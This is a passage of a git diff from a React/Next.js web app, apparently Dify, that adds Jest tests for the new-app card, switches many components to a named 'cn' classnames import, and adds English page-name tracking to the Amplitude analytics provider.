+
+  describe('Error State', () => {
+    it('should handle error state in useEffect', () => {
+      mockServiceState.error = new Error('Test error')
+      const { container } = render(<List />)
+
+      // Component should still render
+      expect(container).toBeInTheDocument()
+      // Disconnect should be called when there's an error (cleanup)
+    })
+  })
+})
diff --git a/web/app/components/apps/new-app-card.spec.tsx b/web/app/components/apps/new-app-card.spec.tsx
new file mode 100644
index 0000000000..d0591db22a
--- /dev/null
+++ b/web/app/components/apps/new-app-card.spec.tsx
@@ -0,0 +1,287 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+
+// Mock next/navigation
+const mockReplace = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    replace: mockReplace,
+  }),
+  useSearchParams: () => new URLSearchParams(),
+}))
+
+// Mock provider context
+const mockOnPlanInfoChanged = jest.fn()
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: () => ({
+    onPlanInfoChanged: mockOnPlanInfoChanged,
+  }),
+}))
+
+// Mock next/dynamic to immediately resolve components
+jest.mock('next/dynamic', () => {
+  const React = require('react')
+  return (importFn: () => Promise<any>) => {
+    const fnString = importFn.toString()
+
+    if (fnString.includes('create-app-modal') && !fnString.includes('create-from-dsl-modal')) {
+      return function MockCreateAppModal({ show, onClose, onSuccess, onCreateFromTemplate }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'create-app-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-create-modal' }, 'Close'),
+          React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-create-modal' }, 'Success'),
+          React.createElement('button', { 'onClick': onCreateFromTemplate, 'data-testid': 'to-template-modal' }, 'To Template'),
+        )
+      }
+    }
+    if (fnString.includes('create-app-dialog')) {
+      return function MockCreateAppTemplateDialog({ show, onClose, onSuccess, onCreateFromBlank }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'create-template-dialog' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-template-dialog' }, 'Close'),
+          React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-template-dialog' }, 'Success'),
+          React.createElement('button', { 'onClick': onCreateFromBlank, 'data-testid': 'to-blank-modal' }, 'To Blank'),
+        )
+      }
+    }
+    if (fnString.includes('create-from-dsl-modal')) {
+      return function MockCreateFromDSLModal({ show, onClose, onSuccess }: any) {
+        if (!show) return null
+        return React.createElement('div', { 'data-testid': 'create-dsl-modal' },
+          React.createElement('button', { 'onClick': onClose, 'data-testid': 'close-dsl-modal' }, 'Close'),
+          React.createElement('button', { 'onClick': onSuccess, 'data-testid': 'success-dsl-modal' }, 'Success'),
+        )
+      }
+    }
+    return () => null
+  }
+})
+
+// Mock CreateFromDSLModalTab enum
+jest.mock('@/app/components/app/create-from-dsl-modal', () => ({
+  CreateFromDSLModalTab: {
+    FROM_URL: 'from-url',
+  },
+}))
+
+// Import after mocks
+import CreateAppCard from './new-app-card'
+
+describe('CreateAppCard', () => {
+  const defaultRef = { current: null } as React.RefObject<HTMLDivElement | null>
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+      // Use pattern matching for resilient text assertions
+      expect(screen.getByText('app.createApp')).toBeInTheDocument()
+    })
+
+    it('should render three create buttons', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      expect(screen.getByText('app.newApp.startFromBlank')).toBeInTheDocument()
+      expect(screen.getByText('app.newApp.startFromTemplate')).toBeInTheDocument()
+      expect(screen.getByText('app.importDSL')).toBeInTheDocument()
+    })
+
+    it('should render all buttons as clickable', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      const buttons = screen.getAllByRole('button')
+      expect(buttons).toHaveLength(3)
+      buttons.forEach((button) => {
+        expect(button).not.toBeDisabled()
+      })
+    })
+  })
+
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      const { container } = render(
+        <CreateAppCard ref={defaultRef} className="custom-class" />,
+      )
+      const card = container.firstChild as HTMLElement
+      expect(card).toHaveClass('custom-class')
+    })
+
+    it('should render with selectedAppType prop', () => {
+      render(<CreateAppCard ref={defaultRef} selectedAppType="chat" />)
+      expect(screen.getByText('app.createApp')).toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions - Create App Modal', () => {
+    it('should open create app modal when clicking Start from Blank', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+
+      expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
+    })
+
+    it('should close create app modal when clicking close button', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('close-create-modal'))
+      expect(screen.queryByTestId('create-app-modal')).not.toBeInTheDocument()
+    })
+
+    it('should call onSuccess and onPlanInfoChanged on create app success', () => {
+      const mockOnSuccess = jest.fn()
+      render(<CreateAppCard ref={defaultRef} onSuccess={mockOnSuccess} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      fireEvent.click(screen.getByTestId('success-create-modal'))
+
+      expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+      expect(mockOnSuccess).toHaveBeenCalled()
+    })
+
+    it('should switch from create modal to template dialog', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('to-template-modal'))
+
+      expect(screen.queryByTestId('create-app-modal')).not.toBeInTheDocument()
+      expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions - Template Dialog', () => {
+    it('should open template dialog when clicking Start from Template', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+
+      expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
+    })
+
+    it('should close template dialog when clicking close button', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+      expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('close-template-dialog'))
+      expect(screen.queryByTestId('create-template-dialog')).not.toBeInTheDocument()
+    })
+
+    it('should call onSuccess and onPlanInfoChanged on template success', () => {
+      const mockOnSuccess = jest.fn()
+      render(<CreateAppCard ref={defaultRef} onSuccess={mockOnSuccess} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+      fireEvent.click(screen.getByTestId('success-template-dialog'))
+
+      expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+      expect(mockOnSuccess).toHaveBeenCalled()
+    })
+
+    it('should switch from template dialog to create modal', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+      expect(screen.getByTestId('create-template-dialog')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('to-blank-modal'))
+
+      expect(screen.queryByTestId('create-template-dialog')).not.toBeInTheDocument()
+      expect(screen.getByTestId('create-app-modal')).toBeInTheDocument()
+    })
+  })
+
+  describe('User Interactions - DSL Import Modal', () => {
+    it('should open DSL modal when clicking Import DSL', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.importDSL'))
+
+      expect(screen.getByTestId('create-dsl-modal')).toBeInTheDocument()
+    })
+
+    it('should close DSL modal when clicking close button', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.importDSL'))
+      expect(screen.getByTestId('create-dsl-modal')).toBeInTheDocument()
+
+      fireEvent.click(screen.getByTestId('close-dsl-modal'))
+      expect(screen.queryByTestId('create-dsl-modal')).not.toBeInTheDocument()
+    })
+
+    it('should call onSuccess and onPlanInfoChanged on DSL import success', () => {
+      const mockOnSuccess = jest.fn()
+      render(<CreateAppCard ref={defaultRef} onSuccess={mockOnSuccess} />)
+
+      fireEvent.click(screen.getByText('app.importDSL'))
+      fireEvent.click(screen.getByTestId('success-dsl-modal'))
+
+      expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+      expect(mockOnSuccess).toHaveBeenCalled()
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have correct card container styling', () => {
+      const { container } = render(<CreateAppCard ref={defaultRef} />)
+      const card = container.firstChild as HTMLElement
+
+      expect(card).toHaveClass('h-[160px]', 'rounded-xl')
+    })
+
+    it('should have proper button styling', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      const buttons = screen.getAllByRole('button')
+      buttons.forEach((button) => {
+        expect(button).toHaveClass('cursor-pointer')
+      })
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle multiple modal opens/closes', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      // Open and close create modal
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      fireEvent.click(screen.getByTestId('close-create-modal'))
+
+      // Open and close template dialog
+      fireEvent.click(screen.getByText('app.newApp.startFromTemplate'))
+      fireEvent.click(screen.getByTestId('close-template-dialog'))
+
+      // Open and close DSL modal
+      fireEvent.click(screen.getByText('app.importDSL'))
+      fireEvent.click(screen.getByTestId('close-dsl-modal'))
+
+      // No modals should be visible
+      expect(screen.queryByTestId('create-app-modal')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('create-template-dialog')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('create-dsl-modal')).not.toBeInTheDocument()
+    })
+
+    it('should handle onSuccess not being provided', () => {
+      render(<CreateAppCard ref={defaultRef} />)
+
+      fireEvent.click(screen.getByText('app.newApp.startFromBlank'))
+      // This should not throw an error
+      expect(() => {
+        fireEvent.click(screen.getByTestId('success-create-modal'))
+      }).not.toThrow()
+
+      expect(mockOnPlanInfoChanged).toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/apps/new-app-card.tsx b/web/app/components/apps/new-app-card.tsx
index 7a10bc8527..51e4bae8fe 100644
--- a/web/app/components/apps/new-app-card.tsx
+++ b/web/app/components/apps/new-app-card.tsx
@@ -9,7 +9,7 @@ import { useTranslation } from 'react-i18next'
 import { CreateFromDSLModalTab } from '@/app/components/app/create-from-dsl-modal'
 import { useProviderContext } from '@/context/provider-context'
 import { FileArrow01, FilePlus01, FilePlus02 } from '@/app/components/base/icons/src/vender/line/files'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import dynamic from 'next/dynamic'
 
 const CreateAppModal = dynamic(() => import('@/app/components/app/create-app-modal'), {
diff --git a/web/app/components/base/action-button/index.tsx b/web/app/components/base/action-button/index.tsx
index f70bfb4448..eff6a43d22 100644
--- a/web/app/components/base/action-button/index.tsx
+++ b/web/app/components/base/action-button/index.tsx
@@ -1,7 +1,7 @@
 import type { CSSProperties } from 'react'
 import React from 'react'
 import { type VariantProps, cva } from 'class-variance-authority'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 enum ActionButtonState {
   Destructive = 'destructive',
@@ -54,10 +54,8 @@ const ActionButton = ({ className, size, state = ActionButtonState.Default, styl
   return (
     <button
       type='button'
-      className={classNames(
-        actionButtonVariants({ className, size }),
-        getActionButtonState(state),
-      )}
+      className={cn(actionButtonVariants({ className, size }),
+        getActionButtonState(state))}
       ref={ref}
       style={styleCss}
       {...props}
diff --git a/web/app/components/base/agent-log-modal/detail.tsx b/web/app/components/base/agent-log-modal/detail.tsx
index 148b16815e..3a7ef3d340 100644
--- a/web/app/components/base/agent-log-modal/detail.tsx
+++ b/web/app/components/base/agent-log-modal/detail.tsx
@@ -6,7 +6,7 @@ import { useTranslation } from 'react-i18next'
 import { flatten, uniq } from 'lodash-es'
 import ResultPanel from './result'
 import TracingPanel from './tracing'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ToastContext } from '@/app/components/base/toast'
 import Loading from '@/app/components/base/loading'
 import { fetchAgentLogDetail } from '@/service/log'
diff --git a/web/app/components/base/agent-log-modal/index.tsx b/web/app/components/base/agent-log-modal/index.tsx
index 024ea2ab97..22d3477ee3 100644
--- a/web/app/components/base/agent-log-modal/index.tsx
+++ b/web/app/components/base/agent-log-modal/index.tsx
@@ -4,7 +4,7 @@ import { RiCloseLine } from '@remixicon/react'
 import { useEffect, useRef, useState } from 'react'
 import { useClickAway } from 'ahooks'
 import AgentLogDetail from './detail'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { IChatItem } from '@/app/components/base/chat/chat/type'
 
 type AgentLogModalProps = {
diff --git a/web/app/components/base/agent-log-modal/iteration.tsx b/web/app/components/base/agent-log-modal/iteration.tsx
index 691e9cf1ac..3c51c3a61c 100644
--- a/web/app/components/base/agent-log-modal/iteration.tsx
+++ b/web/app/components/base/agent-log-modal/iteration.tsx
@@ -4,7 +4,7 @@ import type { FC } from 'react'
 import ToolCall from './tool-call'
 import Divider from '@/app/components/base/divider'
 import type { AgentIteration } from '@/models/log'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   isFinal: boolean
diff --git a/web/app/components/base/agent-log-modal/tool-call.tsx b/web/app/components/base/agent-log-modal/tool-call.tsx
index 433a20fd5d..ae9753bc67 100644
--- a/web/app/components/base/agent-log-modal/tool-call.tsx
+++ b/web/app/components/base/agent-log-modal/tool-call.tsx
@@ -6,7 +6,7 @@ import {
   RiErrorWarningLine,
 } from '@remixicon/react'
 import { useContext } from 'use-context-selector'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BlockIcon from '@/app/components/workflow/block-icon'
 import CodeEditor from '@/app/components/workflow/nodes/_base/components/editor/code-editor'
 import { CodeLanguage } from '@/app/components/workflow/nodes/code/types'
diff --git a/web/app/components/base/amplitude/AmplitudeProvider.tsx b/web/app/components/base/amplitude/AmplitudeProvider.tsx
index c242326c30..6c378ab64f 100644
--- a/web/app/components/base/amplitude/AmplitudeProvider.tsx
+++ b/web/app/components/base/amplitude/AmplitudeProvider.tsx
@@ -4,21 +4,55 @@ import type { FC } from 'react'
 import React, { useEffect } from 'react'
 import * as amplitude from '@amplitude/analytics-browser'
 import { sessionReplayPlugin } from '@amplitude/plugin-session-replay-browser'
-import { IS_CLOUD_EDITION } from '@/config'
+import { AMPLITUDE_API_KEY, IS_CLOUD_EDITION } from '@/config'
 
 export type IAmplitudeProps = {
-  apiKey?: string
   sessionReplaySampleRate?: number
 }
 
 // Check if Amplitude should be enabled
 export const isAmplitudeEnabled = () => {
-  const apiKey = process.env.NEXT_PUBLIC_AMPLITUDE_API_KEY
-  return IS_CLOUD_EDITION && !!apiKey
+  return IS_CLOUD_EDITION && !!AMPLITUDE_API_KEY
+}
+
+// Map URL pathname to English page name for consistent Amplitude tracking
+const getEnglishPageName = (pathname: string): string => {
+  // Remove leading slash and get the first segment
+  const segments = pathname.replace(/^\//, '').split('/')
+  const firstSegment = segments[0] || 'home'
+
+  const pageNameMap: Record<string, string> = {
+    '': 'Home',
+    'apps': 'Studio',
+    'datasets': 'Knowledge',
+    'explore': 'Explore',
+    'tools': 'Tools',
+    'account': 'Account',
+    'signin': 'Sign In',
+    'signup': 'Sign Up',
+  }
+
+  return pageNameMap[firstSegment] || firstSegment.charAt(0).toUpperCase() + firstSegment.slice(1)
+}
+
+// Enrichment plugin to override page title with English name for page view events
+const pageNameEnrichmentPlugin = (): amplitude.Types.EnrichmentPlugin => {
+  return {
+    name: 'page-name-enrichment',
+    type: 'enrichment',
+    setup: async () => undefined,
+    execute: async (event: amplitude.Types.Event) => {
+      // Only modify page view events
+      if (event.event_type === '[Amplitude] Page Viewed' && event.event_properties) {
+        const pathname = typeof window !== 'undefined' ? window.location.pathname : ''
+        event.event_properties['[Amplitude] Page Title'] = getEnglishPageName(pathname)
+      }
+      return event
+    },
+  }
 }
 
 const AmplitudeProvider: FC<IAmplitudeProps> = ({
-  apiKey = process.env.NEXT_PUBLIC_AMPLITUDE_API_KEY ?? '',
   sessionReplaySampleRate = 1,
 }) => {
   useEffect(() => {
@@ -27,17 +61,18 @@ const AmplitudeProvider: FC<IAmplitudeProps> = ({
       return
 
     // Initialize Amplitude
-    amplitude.init(apiKey, {
+    amplitude.init(AMPLITUDE_API_KEY, {
       defaultTracking: {
         sessions: true,
         pageViews: true,
         formInteractions: true,
         fileDownloads: true,
       },
-      // Enable debug logs in development environment
-      logLevel: amplitude.Types.LogLevel.Warn,
     })
 
+    // Add page name enrichment plugin to override page title with English name
+    amplitude.add(pageNameEnrichmentPlugin())
+
     // Add Session Replay plugin
     const sessionReplay = sessionReplayPlugin({
       sampleRate: sessionReplaySampleRate,
diff --git a/web/app/components/base/answer-icon/index.tsx b/web/app/components/base/answer-icon/index.tsx
index faad4e5aaa..04da58e2b8 100644
--- a/web/app/components/base/answer-icon/index.tsx
+++ b/web/app/components/base/answer-icon/index.tsx
@@ -3,7 +3,7 @@
 import type { FC } from 'react'
 import { init } from 'emoji-mart'
 import data from '@emoji-mart/data'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { AppIconType } from '@/types/app'
 
 init({ data })
@@ -21,8 +21,7 @@ const AnswerIcon: FC<AnswerIconProps> = ({
   background,
   imageUrl,
 }) => {
-  const wrapperClassName = classNames(
-    'flex',
+  const wrapperClassName = cn('flex',
     'items-center',
     'justify-center',
     'w-full',
@@ -30,8 +29,7 @@ const AnswerIcon: FC<AnswerIconProps> = ({
     'rounded-full',
     'border-[0.5px]',
     'border-black/5',
-    'text-xl',
-  )
+    'text-xl')
   const isValidImageIcon = iconType === 'image' && imageUrl
   return <div
     className={wrapperClassName}
diff --git a/web/app/components/base/app-icon-picker/ImageInput.tsx b/web/app/components/base/app-icon-picker/ImageInput.tsx
index a074c8afac..ad57ffc173 100644
--- a/web/app/components/base/app-icon-picker/ImageInput.tsx
+++ b/web/app/components/base/app-icon-picker/ImageInput.tsx
@@ -3,7 +3,7 @@
 import type { ChangeEvent, FC } from 'react'
 import { createRef, useEffect, useState } from 'react'
 import Cropper, { type Area, type CropperProps } from 'react-easy-crop'
-import classNames from 'classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 import { ImagePlus } from '../icons/src/vender/line/images'
@@ -90,10 +90,9 @@ const ImageInput: FC<UploaderProps> = ({
   }
 
   return (
-    <div className={classNames(className, 'w-full px-3 py-1.5')}>
+    <div className={cn(className, 'w-full px-3 py-1.5')}>
       <div
-        className={classNames(
-          isDragActive && 'border-primary-600',
+        className={cn(isDragActive && 'border-primary-600',
           'relative flex aspect-square flex-col items-center justify-center rounded-lg border-[1.5px] border-dashed text-gray-500')}
         onDragEnter={handleDragEnter}
         onDragOver={handleDragOver}
diff --git a/web/app/components/base/app-icon-picker/index.tsx b/web/app/components/base/app-icon-picker/index.tsx
index 3deb6a6c8f..a3cb419915 100644
--- a/web/app/components/base/app-icon-picker/index.tsx
+++ b/web/app/components/base/app-icon-picker/index.tsx
@@ -12,7 +12,7 @@ import ImageInput from './ImageInput'
 import s from './style.module.css'
 import getCroppedImg from './utils'
 import type { AppIconType, ImageFile } from '@/types/app'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { DISABLE_UPLOAD_IMAGE_AS_ICON } from '@/config'
 import { noop } from 'lodash-es'
 import { RiImageCircleAiLine } from '@remixicon/react'
diff --git a/web/app/components/base/app-icon/index.tsx b/web/app/components/base/app-icon/index.tsx
index e31e7286a3..9bcaa2ced2 100644
--- a/web/app/components/base/app-icon/index.tsx
+++ b/web/app/components/base/app-icon/index.tsx
@@ -5,7 +5,7 @@ import { init } from 'emoji-mart'
 import data from '@emoji-mart/data'
 import { cva } from 'class-variance-authority'
 import type { AppIconType } from '@/types/app'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useHover } from 'ahooks'
 import { RiEditLine } from '@remixicon/react'
 
@@ -107,7 +107,7 @@ const AppIcon: FC<AppIconProps> = ({
   return (
     <span
       ref={wrapperRef}
-      className={classNames(appIconVariants({ size, rounded }), className)}
+      className={cn(appIconVariants({ size, rounded }), className)}
       style={{ background: isValidImageIcon ? undefined : (background || '#FFEAD5') }}
       onClick={onClick}
     >
diff --git a/web/app/components/base/app-unavailable.tsx b/web/app/components/base/app-unavailable.tsx
index c501d36118..e80853086e 100644
--- a/web/app/components/base/app-unavailable.tsx
+++ b/web/app/components/base/app-unavailable.tsx
@@ -1,5 +1,5 @@
 'use client'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FC } from 'react'
 import React from 'react'
 import { useTranslation } from 'react-i18next'
@@ -20,7 +20,7 @@ const AppUnavailable: FC<IAppUnavailableProps> = ({
   const { t } = useTranslation()
 
   return (
-    <div className={classNames('flex h-screen w-screen items-center justify-center', className)}>
+    <div className={cn('flex h-screen w-screen items-center justify-center', className)}>
       <h1 className='mr-5 h-[50px] shrink-0 pr-5 text-[24px] font-medium leading-[50px]'
         style={{
           borderRight: '1px solid rgba(0,0,0,.3)',
diff --git a/web/app/components/base/audio-gallery/AudioPlayer.tsx b/web/app/components/base/audio-gallery/AudioPlayer.tsx
index 399f055161..49167d9ba2 100644
--- a/web/app/components/base/audio-gallery/AudioPlayer.tsx
+++ b/web/app/components/base/audio-gallery/AudioPlayer.tsx
@@ -7,7 +7,7 @@ import {
 import Toast from '@/app/components/base/toast'
 import useTheme from '@/hooks/use-theme'
 import { Theme } from '@/types/app'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type AudioPlayerProps = {
   src?: string // Keep backward compatibility
diff --git a/web/app/components/base/auto-height-textarea/index.tsx b/web/app/components/base/auto-height-textarea/index.tsx
index fb64bf9db4..e5621fe00c 100644
--- a/web/app/components/base/auto-height-textarea/index.tsx
+++ b/web/app/components/base/auto-height-textarea/index.tsx
@@ -1,5 +1,5 @@
 import { useEffect, useRef } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { sleep } from '@/utils'
 
 type IProps = {
diff --git a/web/app/components/base/avatar/index.tsx b/web/app/components/base/avatar/index.tsx
index 89019a19b0..98900a52cb 100644
--- a/web/app/components/base/avatar/index.tsx
+++ b/web/app/components/base/avatar/index.tsx
@@ -1,6 +1,6 @@
 'use client'
 import { useEffect, useState } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type AvatarProps = {
   name: string
diff --git a/web/app/components/base/badge.tsx b/web/app/components/base/badge.tsx
index 9a0c93118a..e0934f3b5a 100644
--- a/web/app/components/base/badge.tsx
+++ b/web/app/components/base/badge.tsx
@@ -1,6 +1,6 @@
 import type { ReactNode } from 'react'
 import { memo } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type BadgeProps = {
   className?: string
diff --git a/web/app/components/base/badge/index.tsx b/web/app/components/base/badge/index.tsx
index 88ba026e14..dd8fa178d7 100644
--- a/web/app/components/base/badge/index.tsx
+++ b/web/app/components/base/badge/index.tsx
@@ -1,7 +1,7 @@
 import type { CSSProperties, ReactNode } from 'react'
 import React from 'react'
 import { type VariantProps, cva } from 'class-variance-authority'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import './index.css'
 
 enum BadgeState {
@@ -58,16 +58,14 @@ const Badge: React.FC<BadgeProps> = ({
 }) => {
   return (
     <div
-      className={classNames(
-        BadgeVariants({ size, className }),
+      className={cn(BadgeVariants({ size, className }),
         getBadgeState(state),
         size === 's'
           ? (iconOnly ? 'p-[3px]' : 'px-[5px] py-[3px]')
           : size === 'l'
             ? (iconOnly ? 'p-1.5' : 'px-2 py-1')
             : (iconOnly ? 'p-1' : 'px-[5px] py-[2px]'),
-        uppercase ? 'system-2xs-medium-uppercase' : 'system-2xs-medium',
-      )}
+        uppercase ? 'system-2xs-medium-uppercase' : 'system-2xs-medium')}
       style={styleCss}
       {...props}
     >
diff --git a/web/app/components/base/block-input/index.tsx b/web/app/components/base/block-input/index.tsx
index ae6f77fab3..956bd3d766 100644
--- a/web/app/components/base/block-input/index.tsx
+++ b/web/app/components/base/block-input/index.tsx
@@ -5,7 +5,7 @@ import React, { useCallback, useEffect, useRef, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import VarHighlight from '../../app/configuration/base/var-highlight'
 import Toast from '../toast'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { checkKeys } from '@/utils/var'
 
 // regex to match the {{}} and replace it with a span
@@ -61,7 +61,7 @@ const BlockInput: FC<IBlockInputProps> = ({
     }
   }, [isEditing])
 
-  const style = classNames({
+  const style = cn({
     'block px-4 py-2 w-full h-full text-sm text-gray-900 outline-0 border-0 break-all': true,
     'block-input--editing': isEditing,
   })
@@ -110,7 +110,7 @@ const BlockInput: FC<IBlockInputProps> = ({
   // Prevent rerendering caused cursor to jump to the start of the contentEditable element
   const TextAreaContentView = () => {
     return (
-      <div className={classNames(style, className)}>
+      <div className={cn(style, className)}>
         {renderSafeContent(currentValue || '')}
       </div>
     )
@@ -120,12 +120,12 @@ const BlockInput: FC<IBlockInputProps> = ({
   const editAreaClassName = 'focus:outline-none bg-transparent text-sm'
 
   const textAreaContent = (
-    <div className={classNames(readonly ? 'max-h-[180px] pb-5' : 'h-[180px]', ' overflow-y-auto')} onClick={() => !readonly && setIsEditing(true)}>
+    <div className={cn(readonly ? 'max-h-[180px] pb-5' : 'h-[180px]', ' overflow-y-auto')} onClick={() => !readonly && setIsEditing(true)}>
       {isEditing
         ? <div className='h-full px-4 py-2'>
           <textarea
             ref={contentEditableRef}
-            className={classNames(editAreaClassName, 'block h-full w-full resize-none')}
+            className={cn(editAreaClassName, 'block h-full w-full resize-none')}
             placeholder={placeholder}
             onChange={onValueChange}
             value={currentValue}
@@ -143,7 +143,7 @@ const BlockInput: FC<IBlockInputProps> = ({
     </div>)
 
   return (
-    <div className={classNames('block-input w-full overflow-y-auto rounded-xl border-none bg-white')}>
+    <div className={cn('block-input w-full overflow-y-auto rounded-xl border-none bg-white')}>
       {textAreaContent}
       {/* footer */}
       {!readonly && (
diff --git a/web/app/components/base/button/add-button.tsx b/web/app/components/base/button/add-button.tsx
index 420b668141..cecc9ec063 100644
--- a/web/app/components/base/button/add-button.tsx
+++ b/web/app/components/base/button/add-button.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import { RiAddLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/components/base/button/index.tsx b/web/app/components/base/button/index.tsx
index 4f75aec5a5..cb0d0c1fd9 100644
--- a/web/app/components/base/button/index.tsx
+++ b/web/app/components/base/button/index.tsx
@@ -2,7 +2,7 @@ import type { CSSProperties } from 'react'
 import React from 'react'
 import { type VariantProps, cva } from 'class-variance-authority'
 import Spinner from '../spinner'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const buttonVariants = cva(
   'btn disabled:btn-disabled',
@@ -42,16 +42,14 @@ const Button = ({ className, variant, size, destructive, loading, styleCss, chil
   return (
     <button
       type='button'
-      className={classNames(
-        buttonVariants({ variant, size, className }),
-        destructive && 'btn-destructive',
-      )}
+      className={cn(buttonVariants({ variant, size, className }),
+        destructive && 'btn-destructive')}
       ref={ref}
       style={styleCss}
       {...props}
     >
       {children}
-      {loading && <Spinner loading={loading} className={classNames('!ml-1 !h-3 !w-3 !border-2 !text-white', spinnerClassName)} />}
+      {loading && <Spinner loading={loading} className={cn('!ml-1 !h-3 !w-3 !border-2 !text-white', spinnerClassName)} />}
     </button>
   )
 }
diff --git a/web/app/components/base/button/sync-button.tsx b/web/app/components/base/button/sync-button.tsx
index 013c86889a..a9d4d1022f 100644
--- a/web/app/components/base/button/sync-button.tsx
+++ b/web/app/components/base/button/sync-button.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import { RiRefreshLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import TooltipPlus from '@/app/components/base/tooltip'
 
 type Props = {
diff --git a/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx b/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx
index 94c80687ed..535d7e19bf 100644
--- a/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx
+++ b/web/app/components/base/chat/chat-with-history/chat-wrapper.tsx
@@ -20,7 +20,7 @@ import AppIcon from '@/app/components/base/app-icon'
 import AnswerIcon from '@/app/components/base/answer-icon'
 import SuggestedQuestions from '@/app/components/base/chat/chat/answer/suggested-questions'
 import { Markdown } from '@/app/components/base/markdown'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FileEntity } from '../../file-uploader/types'
 import { formatBooleanInputs } from '@/utils/model-config'
 import Avatar from '../../avatar'
@@ -218,7 +218,7 @@ const ChatWrapper = () => {
       )
     }
     return (
-      <div className={cn('flex h-[50vh] flex-col items-center justify-center gap-3 py-12')}>
+      <div className={cn('flex min-h-[50vh] flex-col items-center justify-center gap-3 py-12')}>
         <AppIcon
           size='xl'
           iconType={appData?.site.icon_type}
diff --git a/web/app/components/base/chat/chat-with-history/header/index.tsx b/web/app/components/base/chat/chat-with-history/header/index.tsx
index b5c5bccec1..f63c97603b 100644
--- a/web/app/components/base/chat/chat-with-history/header/index.tsx
+++ b/web/app/components/base/chat/chat-with-history/header/index.tsx
